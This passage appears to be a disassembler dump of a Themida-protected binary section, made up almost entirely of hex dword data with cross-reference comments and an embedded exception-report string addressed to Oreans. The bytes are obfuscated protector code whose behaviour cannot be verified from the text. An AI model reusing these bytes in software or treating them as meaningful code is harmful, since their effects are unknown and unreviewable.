		dd 0BA840F61h, 8B000000h, 0BA858DD6h, 50064AF9h, 0FAF7858Dh
		dd 8D50064Ah, 4AFB1885h, 95FF5006h, 64804D1h, 0C60CC483h
		dd 48276D85h, 4F684406h, 0FF96A318h, 482C21B5h,	78858D06h
		dd 0FF064838h, 8DD88BD0h, 4AFB1885h, 0D3FF5006h, 0F942858Dh
		dd 8D50064Ah, 4AF9BA85h, 0BD835006h, 64804E5h, 8D087400h
		dd 4AFAE085h, 8D06EB06h, 4AFAC985h, 858D5006h, 64AFB18h
		dd 0D195FF50h, 83064804h, 6A10C4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 925579C3h, 5209A7EDh
		dd 30918D09h, 0CE90648h, 65000000h, 508EBFB6h, 0ABF06A01h
		dd 3882F68h, 480FD995h,	0E595FF06h, 0F06480Ah, 0FF25FEBFh
		dd 8B000000h, 5F883F9h,	22830Fh, 85C70000h, 648285Dh, 1
		dd 858DD08Bh, 64AF976h,	2D518589h, 52E90648h, 0BA000000h
		dd 5AB3FA96h, 4E5BD83h,	0F000648h, 3584h, 8DA6B200h, 4AF9A185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0A99D89C4h, 0E9064819h, 11h, 1875B501h
		dd 858D0648h, 64AF983h,	0DAD0F2BAh, 0B6858961h,	89064AF9h
		dd 482C69BDh, 0E5BD8306h, 64804h, 17850Fh, 0BD8B0000h
		dd 6481B11h, 93DBD83h, 0F00064Bh, 3B84h, 0AEBF6600h, 118CE98Ch
		dd 830F0000h, 10h, 0BE9h, 8D0AE900h, 8516FD2Ah,	6A8DCA4Bh
		dd 12E857h, 0B7830000h,	0FC8F39E9h, 1DC7362Ah, 34EB65BAh
		dd 0AF9D83B3h, 5F5F5A53h, 3DDE9h, 0C08BFC00h, 305DB966h
		dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501974h
		dd 0D4B8C08Bh, 89000007h, 4828A185h, 2C9D8D06h,	0FF064AB0h
		dd 83585BD3h, 482C61BDh, 17740006h, 0D4B85350h,	89000007h
		dd 4828A185h, 1B9D8D06h, 0FF064AADh, 29585BD3h,	48256595h
		dd 85896006h, 6480CB1h,	0C262BA66h, 81C08B61h, 6DC2E2C9h
		dd 3F6829h, 0AE9000Fh, 45000000h, 1B7E334Fh, 0C9453786h
		dd 8B006A8Ah, 4827858Dh, 0E9006A06h, 0Ch, 0E43F8A8Ah, 9705A73h
		dd 56195DC5h, 68E0Fh, 8D890000h, 6480025h, 1B5995FFh, 3B90648h
		dd 802B2748h, 0C0858CDAh, 6850Fh, 8D890000h, 6482801h
		dd 0F93A8589h, 6A064Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 11E859C3h, 0FC000000h, 55FDE3F1h
		dd 1A749BFEh, 5C5793B4h, 0FF4D796Ch, 11F28166h,	6A5FE5h
		dd 6A006AF9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 5D32C351h, 32A29D0h, 48058DBDh
		dd 6A006A06h, 99958900h, 89064814h, 4830F185h, 8B006A06h
		dd 48273995h, 18858D06h, 1064AFBh, 482CA585h, 8D895006h
		dd 6481BD9h, 6A016Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 7BB4A2C3h, 2D0B45E9h, 6A016Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0EE987C3h, 4000000h,	6F21A31Ch, 1A71D720h, 0A38FA60Fh
		dd 5958B2Ah, 6A064814h,	0D68B6601h, 0F01FF68h, 3D8D8900h
		dd 8B064806h, 0E5BD83F9h, 64804h, 42840Fh, 0BD8B0000h
		dd 6481F8Dh, 0F997858Dh, 6A064Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D9E148C3h, 3B3AC915h
		dd 618D8B9Fh, 3064822h,	480E29BDh, 0BE906h, 0F58A0000h
		dd 0F96D858Dh, 0BF0F064Ah, 0FC5050FAh, 0F93AB5FFh, 9523064Ah
		dd 6482755h, 0F92695FFh, 0B529064Ah, 6482E29h, 850FC085h
		dd 16h,	18B5958Bh, 81660648h, 0E95724C1h, 7Ah, 7ED2EA81h
		dd 85892EDEh, 64AF93Eh,	8BF8BF0Fh, 48248D95h, 3EB5FF06h
		dd 6A064AF9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0C90EC353h, 892B4F4Dh,	480635B5h
		dd 0C8E0BF06h, 95FF01F4h, 6482365h, 0FC085F9h, 2585h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 5AF957A0h, 2801BD89h, 106A0648h, 2D898589h, 0BD830648h
		dd 64804E5h, 18840F00h,	89000000h, 4821998Dh, 97858D06h
		dd 66064AF9h, 0BB66CA81h, 9E9h,	8DCE8A00h, 4AF96D85h, 0F50FC06h
		dd 0B5FFD3B7h, 64AF93Ah, 1FD99501h, 95FF0648h, 64AF932h
		dd 0E5D28166h, 0FC085FCh, 1885h, 10E800h, 0ABA50000h, 22AD77CFh
		dd 1CF4D400h, 90230BB3h, 0FB8BD314h, 3E85895Fh,	29064AF9h
		dd 480D9995h, 8B006A06h, 4827AD8Dh, 0D1BD8906h
		dd 6A06481Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 3AB33D82h, 0A66ECE6Dh, 50B2E678h
		dd 0F93EB5FFh, 11E8064Ah, 0E2000000h, 0FEC4705Fh, 2E477F74h
		dd 13C97CC5h, 1BBA73C4h, 1B759D01h, 0FF590648h,	4AF92A95h
		dd 17FBF06h, 0C0854496h, 6850Fh, 9D890000h, 6482B09h, 0F93EB5FFh
		dd 9503064Ah, 6480DE1h,	236595FFh, 0BD890648h, 6481415h
		dd 850FC085h, 6, 73C1E181h, 6A350Ah, 0D9816660h, 0B531872Dh
		dd 6481DF9h, 806861h, 12E90000h, 0BF000000h, 3923BCFh
		dd 950135FDh, 299D2D92h, 7D573ABDh, 8B036AEFh, 481945BDh
		dd 8B006A06h, 481D998Dh, 8B006A06h, 4830F98Dh, 6806h, 6AC000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8CDE20C3h, 84E8CD6h,	8166DB55h, 0F1280EAh, 1786h, 12E900h
		dd 0CC30000h, 4656F7FBh, 5AE4C87Dh, 9DA4E21Bh, 501CE31Ah
		dd 0F9B6B5FFh, 0FFF5064Ah, 480C7595h, 41958906h, 83064823h
		dd 850FFFF8h, 5C6h, 2009BD33h, 85FF0648h, 64B0424h, 5E9h
		dd 60295600h, 0BD839328h, 64B0424h, 40840F02h, 6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 89F9C352h, 481E05BDh, 51858906h, 8D06481Dh
		dd 5AF59F85h, 0E18D0B00h, 0FF064826h, 7E8D0h, 7DD30000h
		dd 9B3FAB3h, 21B50136h,	59064801h, 0EFF2858Dh, 8157005Ah
		dd 8882D0D2h, 89605A4Eh, 482F79B5h, 0F2E58006h,	89D0FF61h
		dd 481F5595h, 0FCC08B06h, 20E9BD83h, 75000648h,	61BD8309h
		dd 6482Ch, 53501974h, 0D8B8C08Bh, 89000007h, 4828A185h
		dd 2C9D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh,	17740006h
		dd 0D8B85350h, 89000007h, 4828A185h, 1B9D8D06h,	0FF064AADh
		dd 6A585BD3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3638C350h, 96E534C5h, 9E18D31h
		dd 8B660648h, 6AC08BCFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 5396C353h, 0BD8B2E80h
		dd 64820ADh, 0F003F68h,	75BD2900h, 6A06480Ah, 0D6BF0F00h
		dd 950B006Ah, 6481829h,	14318D03h, 95FF0648h, 6481B59h
		dd 4A5BD89h, 0C0850648h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 41C35747h, 8501C5C5h,	3CEEA63Ch, 89CFB70Fh
		dd 4AF93A85h, 0E2E78106h, 66234098h, 8178E981h,	0F01FF68h
		dd 0E5BD8300h, 64804h, 76840Fh,	0CF8B0000h, 14E8h, 0B619FD00h
		dd 78C72B3Bh, 63606A91h, 0D570B66Ch, 0CF16A764h, 0ADB50928h
		dd 5A064821h, 0F997858Dh, 6A064Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0D3AF82C3h, 5DBD8B98h
		dd 0E906481Bh, 30h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 93C35545h, 958B3DC1h,	6482CA9h, 0F96D858Dh
		dd 0BD23064Ah, 648284Dh, 0EE950h, 3BDE0000h, 0F65FF8B3h
		dd 1F813DD8h, 0F6FF06E1h, 0F93AB5FFh, 0BD8B064Ah, 64825EDh
		dd 0F93295FFh, 0CA81064Ah, 5A391FE0h, 0F93E8589h, 85C7064Ah
		dd 6481EDDh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BAC35646h
		dd 8FD57D95h, 3EBD8358h, 64AF9h, 1CE840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 4E48F0C3h, 2F135AACh, 8D9B96CDh, 4AFC1C85h, 8D9D3106h
		dd 5006481Ah, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0D3C35545h, 0A9208144h,	0E9016AEBh, 11h, 344EC062h
		dd 70655194h, 61EF31AAh, 233B364h, 3EB5FF63h, 0FF064AF9h
		dd 4AF93695h, 59B58906h, 8A064806h, 3EB5FFEAh, 0E9064AF9h
		dd 8, 0D949A581h, 0CF9004ADh, 236595FFh, 958B0648h, 6480529h
		dd 0F01FF68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 83FEB138h, 4804E5BDh, 840F0006h
		dd 7Fh,	6E78166h, 0A99D29A5h, 8D06481Fh, 4AF99785h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 1DD4A7C2h, 14E9F9h, 5B530000h, 883A64E2h, 0D108EAD0h
		dd 1E6884A3h, 4DE5F59Fh, 3CE97433h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0D0BCC355h, 0EFD13CDEh, 858B6081h, 6480D95h,	298D8D89h
		dd 8D610648h, 4AF96D85h, 6AC28106h, 507A69CFh, 0CCE4BA66h
		dd 0F93AB5FFh, 0BF66064Ah, 95FF8AAAh, 64AF932h,	89CA8B66h
		dd 4AF93E85h, 54ED8006h, 0F93EB5FFh, 8E0F064Ah,	8, 9154BE60h
		dd 61F90470h, 0F92E95FFh, 0CE8064Ah, 66000000h,	0D963FBA8h
		dd 9F2DD4F7h, 8BC1328Ah, 0B5FF5FCBh, 64AF93Eh, 245D9509h
		dd 95FF0648h, 6482365h,	0E8D0Fh, 9E90000h, 77000000h, 56BCD408h
		dd 0B583CBADh, 0FFF719E9h, 0FFF58AFFh, 4B0487B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 7B858609h, 6FBDFCB8h, 11E9h,	0CC3FE200h, 8C353668h
		dd 1979E077h, 0C12FF7EAh, 85896901h, 6482BA5h, 20BD95FFh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0F7FE99C3h, 4CF07563h, 69BD8BB9h,	89064815h
		dd 48183D8Dh, 0A5858B06h, 8906482Eh, 482D1D8Dh,	609E906h
		dd 0B58D0000h, 64AFC3Ch, 25558D89h, 858D0648h, 64AAA17h
		dd 0EE9h, 0FCA22800h, 5BFB004Fh, 0D2DDBDCAh, 0FF4EF80Ch
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 813EA10Eh, 0B3A8EE9Ah, 69BD8B37h, 6A06480Fh
		dd 14860F00h, 0F000000h, 0E8Fh,	9E900h,	9C390000h, 0F25B83F1h
		dd 0FF0DAEDEh, 482A6995h, 1C870F06h, 0F000000h,	1689h
		dd 11E900h, 821F0000h, 5C9614E5h, 82A628FDh, 87C1BD66h
		dd 8BAB43D9h, 4819A9BDh, 8BF38B06h, 481CC58Dh, 17858D06h
		dd 0BA064AAAh, 6A538F7Fh, 0BE8D0FFh, 31000000h,	7DDBE553h
		dd 8374E24Bh, 0BF66B9ACh, 6A5968E0h, 0B9BD0100h, 0FF06481Dh
		dd 482A6995h, 78D2BA06h, 0C08B7EAAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 2EC35747h, 25B92CC4h, 10E9FB0Fh
		dd 0A0000000h, 422F62A5h, 71DC20EEh, 641CF711h,	83D4F48Ch
		dd 4820E9BDh, 9750006h,	2C61BD83h, 74000648h, 8B535019h
		dd 7D9B8C0h, 85890000h,	64828A1h, 0B02C9D8Dh, 0D3FF064Ah
		dd 0BD83585Bh, 6482C61h, 50177400h, 7D9B853h, 85890000h
		dd 64828A1h, 0AD1B9D8Dh, 0D3FF064Ah, 6E8585Bh, 5E000000h
		dd 261D9BEDh, 0FCB7B9FFh, 0F85A4FD9h, 14E8C08Bh, 8E000000h
		dd 58952760h, 96C05AE3h, 50DE9CB0h, 887D86B1h, 893149CDh
		dd 48097995h, 8B505A06h, 482C4D95h, 0FD88B06h, 586h, 0BA96BF00h
		dd 8D5343D2h, 4821E59Dh, 89038B06h, 50438B03h, 8D504389h
		dd 4B04209Dh, 89038B06h, 81665B03h, 8B14F7DFh, 4815B5BDh
		dd 79BD8B06h, 6A06480Dh, 51B58900h, 8D064819h, 4B042085h
		dd 68B0F06h, 89000000h,	481B619Dh, 0F58D8B06h, 50064808h
		dd 6A606Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8A7C14C3h, 0E5858DC8h, 8B064821h,	480BA995h
		dd 0B99D0906h, 50064827h, 5359589h, 6A0648h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6C35646h, 6AF9BF0Fh
		dd 0C9952300h, 2306480Eh, 48047995h, 18006806h,	8D8B0000h
		dd 6480D79h, 27E1958Bh,	60530648h, 4988B961h, 95FF62B1h
		dd 64832CDh, 0FFC88B66h, 480B4195h, 0DE98106h, 663D10B1h
		dd 7677D981h, 487B5FFh,	0C180064Bh, 0BD95FF63h,	29064820h
		dd 4804A1B5h, 0E5858D06h, 6A064821h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D502C356h
		dd 1A8D958Bh, 408B0648h, 8FF28118h, 0C7236F6Dh,	482B1985h
		dd 6, 0C2816600h, 23604642h, 48227D9Dh,	0BD9D8B06h, 61064822h
		dd 4E5BD83h, 0F000648h,	3C84h, 8880F00h, 51000000h, 30A98D31h
		dd 3D590648h, 8Ch, 1D3830Fh, 958B0000h,	6482931h, 192D9D89h
		dd 33E90648h, 0E8000000h, 0Bh, 0A7C6B309h, 3D5B14D8h, 0F9247E52h
		dd 963D5Ah, 830F0000h, 1A5h, 11E9h, 4FEF7F00h, 6784F0BDh
		dd 889AF3EEh, 0CC9CDEB0h, 858D7DD7h, 5AF59Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 17C35343h, 0B3CA8020h
		dd 7CD8BA66h, 0BA66D0FFh, 858D377Bh, 5AEFF2h, 5840Fh, 81660000h
		dd 0FF7442DAh, 5E9D0h, 0D23E0000h, 8B6978EFh, 0B59D89C0h
		dd 83064813h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h
		dd 8B535019h, 0BC6B8C0h, 85890000h, 64828A1h, 0B02C9D8Dh
		dd 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h,	0BC6B853h
		dd 85890000h, 64828A1h,	0AD1B9D8Dh, 0D3FF064Ah,	8D8B585Bh
		dd 6482479h, 297D958Bh,	8D8B0648h, 648214Dh, 6AC08Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 796646C3h, 0F822777h, 68Ah, 18D2B00h, 8906481Ah, 4829A585h
		dd 0FFF88306h, 57850Fh,	8D0F0000h, 5, 0D18B6651h, 0A185C75Fh
		dd 64824h, 8B000000h, 482F61BDh, 15DE906h, 95310000h, 6482959h
		dd 63E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0A33BEE3Fh, 68E0F36h, 8B000000h
		dd 480FD98Dh, 1F88306h,	2E850Fh, 6E90000h, 89000000h, 0F90E6436h
		dd 14DE9B8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0A665D7C3h
dword_570000	dd 0FFF1ADE9h, 6860FFFh, 89000000h, 480D2585h, 60C08B06h
					; DATA XREF: Themida_:0053D310o
					; Themida_:0053E764o
		dd 5D18523h, 0F600648h,	88h
		db 0, 89h, 9Dh
byte_570023	db 0B5h			; DATA XREF: Themida_:0053CE44o
					; Themida_:0053EEECo
		dd 61064804h, 0E9BD8361h, 64820h, 0BD830975h, 6482C61h
		dd 50197400h, 0B8C08B53h, 7DDh,	28A18589h, 9D8D0648h, 64AB02Ch
		dd 585BD3FFh, 2C61BD83h, 74000648h, 0B8535017h,	7DDh, 28A18589h
		dd 9D8D0648h, 64AAD1Bh,	585BD3FFh, 28800Fh, 10E80000h
		dd 0A6000000h, 1CCB48E3h, 7840FEF8h, 0FB67C770h, 0E826C680h
		dd 0Ch,	0E697DECDh, 4D23362Eh, 24CC3B11h, 85895F5Fh, 6481BE5h
		dd 13E9C08Bh, 24000000h, 6B0D1C6Eh, 0B950160Eh,	0BE45DA41h
		dd 9D8C1B2Ch, 3FE91172h, 6A000002h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89BDC351h
		dd 482891B5h, 0FFE18106h, 8D0232EDh, 4B022485h,	89CF8B06h
		dd 4B041C85h, 0E6816006h, 526A7EA2h, 0DBD8B57h,	5F064824h
		dd 5EE961h, 0BD8B0000h,	6480DD9h, 12E9h, 0AFD17C00h, 4A7DA828h
		dd 0F7F3C1F1h, 3244EEBEh, 8D181ECBh, 4B002C85h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1C27A1C9h, 67979574h, 6660400Bh, 4D0EC381h, 2AA59589h
		dd 89610648h, 4B041C85h, 0CF8B6606h, 858D346Ah,	6482F9Dh
		dd 1CB5FF50h, 6A064B04h, 0D595FF00h, 83064832h,	840F07F8h
		dd 162h, 0F6DB8C66h, 850F04C3h,	0FCh, 276D85C6h, 68560648h
		dd 9CA8B852h, 2C21B5FFh, 858D0648h, 6483878h, 46AD0FFh
		dd 100068h, 6A646A00h, 89D0FF00h, 4B048F85h, 6D85C606h
		dd 47064827h, 18AC9B68h, 21B5FFECh, 8D06482Ch, 48387885h
		dd 0FFD0FF06h, 0C6F08BD0h, 48276D85h, 61684F06h, 0FFC62F26h
		dd 482C2DB5h, 78858D06h, 0FF064838h, 8B9D8DD0h,	53064B04h
		dd 0FF56286Ah, 75C085D0h, 6D85C600h, 41064827h,	87649868h
		dd 2DB5FFDBh, 8D06482Ch, 48387885h, 89D0FF06h, 4B04A885h
		dd 6D85C606h, 4C064827h, 0A4E7A468h, 2DB5FF80h,	8D06482Ch
		dd 48387885h, 8BD0FF06h, 4B048F9Dh, 45B8D06h, 949D8D53h
		dd 53064B04h, 0D0FF006Ah, 48F9D8Bh, 3C7064Bh, 1, 20C43C7h
		dd 0C7000000h, 48188585h, 6, 6A006A00h,	8B006A00h, 4B048F9Dh
		dd 6A5306h, 48BB5FFh, 95FF064Bh, 64B04A8h, 276D85C6h, 68450648h
		dd 92A5F797h, 205DB5FFh, 858D0648h, 6483878h, 6AD0FFh
		dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 48F9D8Bh,	43C7064Bh
		dd 0Ch,	6A006A00h, 8F9D8B00h, 53064B04h, 0B5FF006Ah, 64B048Bh
		dd 4A895FFh, 0B5FF064Bh, 64B048Bh, 0B4195FFh, 6A0648h
		dd 2A6995FFh, 0F1810648h, 2AF1D53Ah, 2291BD29h,	858D0648h
		dd 64B36BBh, 14D18D89h,	1500648h, 48185DBDh, 35FF6406h
		dd 0
		dd 8964F58Ah, 25h, 6800F00h, 2B000000h,	480C99BDh, 0C9852906h
		dd 83064818h, 480B19BDh, 840F0006h, 51h, 0BDB50153h, 5F06481Eh
		dd 1949BD83h, 0F010648h, 3C85h,	0A8BD8000h, 64B08h, 2F850Fh
		dd 0E9F80000h, 1E5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 2C35747h, 0BA7E70D9h,	89760A78h, 48303D9Dh
		dd 0B6DB3306h, 0BFC033AAh, 702A06A8h, 0D154E7B9h, 3F0F406Ch
		dd 8F640B07h, 5, 4C48300h, 68D0Fh, 95890000h, 6481F71h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 74C35040h
		dd 0A10D2248h, 33605A03h, 89CE8A39h, 4806499Dh,	0FFFB8306h
		dd 25840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 180424h, 52420000h, 5E826EC3h, 2CE97128h, 0E9000001h
		dd 93h,	1199D31h, 4C8B0648h, 81C70C24h,	0A4h, 0FFFFFFFFh
		dd 0B88183h, 33040000h
		db 0C0h, 0C3h
word_570442	dw 5C8Bh		; DATA XREF: Themida_:0053D68Co
		dd 0E8550C24h, 0
		dd 0DDED815Dh, 8B064B36h, 0B883h, 0E6858D00h, 89064B37h
		dd 0B883h, 0C0335D00h, 52006AC3h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 6ADE9Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 7782F1C3h
		dd 48896B86h, 0FCB2621h, 68Eh, 0B5850900h, 8D064821h, 4B36D385h
		dd 68F0F06h, 9000000h, 48091D85h, 50D4B106h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8AC35040h, 0C2DB3453h
		dd 35B36630h, 0CE9h, 46D51A00h,	8D48C532h, 0D0720270h
		dd 35FF64F4h, 0
		dd 258964h, 0F000000h, 0E86h, 95896000h, 64814E1h, 0B49BD89h
		dd 0B9610648h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h
		dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h
		dd 480D8D85h, 106h, 58F6400h, 0
		dd 6A04C483h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2EC3C357h, 11E9h, 705FE200h, 7F74FEC4h
		dd 7CC52E47h, 73C413C9h, 6A1BBAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0FEE3DCC3h, 9DBC3119h
		dd 8B66B762h, 51BD8BD0h, 8B06482Ah, 0F78166C0h,	0BD83B8B0h
		dd 64820E9h, 83097500h,	482C61BDh, 19740006h, 0C08B5350h
		dd 43DB8h, 21858900h, 8D064800h, 4AB0939Dh, 5BD3FF06h
		dd 61BD8358h, 6482Ch, 53501774h, 43DB8h, 21858900h, 8D064800h
		dd 4AAD349Dh, 5BD3FF06h, 12E858h, 39C60000h, 0C042C17Eh
		dd 40A0006Eh, 0EB9F94CAh, 0EC75106h, 7CFCF781h,	6A5A70CDh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9289C350h, 0C5CA93B9h, 8B36C690h,	3AE9C08Bh
		dd 4000001h, 31000000h,	3535382Eh, 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 0C5BD8300h
		dd 6482Dh, 12D840Fh, 858D0000h,	64AAB4Bh, 0B5858D50h, 50064AAAh
		dd 168h, 5B95FF80h, 8D064AABh, 4B38EC85h, 858D5006h, 64B38F6h
		dd 6A006A50h, 0C9858D00h, 50064AAAh, 0AB4BB5FFh, 95FF064Ah
		dd 64813BDh, 38EC858Dh,	8D50064Bh, 4B38FA85h, 6A5006h
		dd 858D006Ah, 64AAADBh,	4BB5FF50h, 0FF064AABh, 4813BD95h
		dd 0EC858D06h, 50064B38h, 3906858Dh, 6A50064Bh,	8D006A00h
		dd 4AAB2885h, 0B5FF5006h, 64AAB4Bh, 13BD95FFh, 858D0648h
		dd 64B38ECh, 0E858D50h,	50064B39h, 6A006Ah, 0AB46858Dh
		dd 0FF50064Ah, 4AAB4BB5h, 0BD95FF06h, 8D064813h, 4B38EC85h
		dd 858D5006h, 64B390Ah,	6A006A50h, 2F858D00h, 50064AABh
		dd 0AB4BB5FFh, 95FF064Ah, 64813BDh, 38EC858Dh, 8D50064Bh
		dd 4B38FE85h, 6A5006h, 858D006Ah, 64AAB37h, 4BB5FF50h
		dd 0FF064AABh, 4813BD95h, 0EC858D06h, 50064B38h, 3902858Dh
		dd 6A50064Bh, 8D006A00h, 4AAB3E85h, 0B5FF5006h,	64AAB4Bh
		dd 13BD95FFh, 0B5FF0648h, 64AAB4Bh, 2EE195FFh, 0A2E90648h
		dd 83000000h, 480991BDh, 840F0006h, 95h, 1949BD83h, 0F000648h
		dd 1185h, 79958B00h, 81064822h,	1CF8C2h, 0FE900h, 958D0000h
		dd 64821E5h, 8134528Bh,	0D4C340C2h, 3195893Bh, 8306482Ah
		dd 482A31BDh, 840F0006h, 55h, 2A319D8Bh, 0C3830648h, 89038B4Ch
		dd 4B38F685h, 319D8B06h, 8306482Ah, 38B50C3h, 38FA8589h
		dd 9D8B064Bh, 6482A31h,	8B54C383h, 6858903h, 8B064B39h
		dd 482A319Dh, 58C38306h, 8589038Bh, 64B390Ah, 2A319D8Bh
		dd 0C3830648h, 89038B5Ch, 4B38FE85h, 0C5BD8306h, 6482Dh
		dd 0D850Fh, 0BD830000h,	6480991h, 68840F00h, 0FF000000h
		dd 4B390EB5h, 2B5FF06h,	0FF064B39h, 4B38FEB5h, 0AB5FF06h
		dd 0FF064B39h, 4B3906B5h, 0FAB5FF06h, 0FF064B38h, 4B38F6B5h
		dd 0F0858D06h, 50064B38h, 3928858Dh, 8D50064Bh,	48160185h
		dd 95FF5006h, 64804D1h,	6A24C483h, 12858D40h, 50064B39h
		dd 1601858Dh, 6A500648h, 0D595FF00h, 6A064832h,	6995FF01h
		dd 8B06482Ah, 0FE8C1h, 821B0000h, 2EB42709h, 213D3854h
		dd 0C5831B81h, 0E86051FFh, 9, 31DF0B9Fh, 4370348Ah, 59615BF0h
		dd 0EE8505Eh, 25000000h, 36A8FB0Fh, 2743F575h, 4A60BB5Eh
		dd 586160E6h, 75C6815Fh, 6000005Dh, 69FED781h, 8A0F4F62h
		dd 2, 2B616160h, 0C8A0FD2h, 0F000000h, 688h, 0F7EF8100h
		dd 8B244728h, 0B70F161Ch, 0B0F381C7h, 8B5A03C0h, 1DC381F8h
		dd 662C4954h, 8151BEB8h, 6A8DFDC3h, 6653F563h, 48FC78Bh
		dd 81EB8A16h, 71724AC1h, 19EA8126h, 51201109h, 3E18166h
		dd 0C2815FF8h, 20110915h, 0FA81C78Ah, 0FFFFA35Ch, 0E850Fh
		dd 1CE90000h, 45000000h, 5FBF0D48h, 90E8BD77h, 9CE9EAB5h
		dd 1AFFFFFFh, 0BFE8F2F5h, 495EC5C0h, 0EB28DFACh, 46F31718h
		dd 9Bh,	4 dup(0)
		dd 20BE900h
		db 2 dup(0)
aLS		db '`▀\$$Х',0           ; DATA XREF: Themida_:0053FF9Co
		align 4
		dd 89ED815Dh, 61064B3Dh, 0E90004C2h, 0FFFFFFE6h
aA_2		db '`aб',8,0            ; DATA XREF: Themida_:0053EB70o
		db 0E9h, 0F6h, 0FFh
		dd 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h,	0FFF6E900h
		dd 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2	dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3DC1B58Bh, 0E681064Bh, 0FFFFF000h
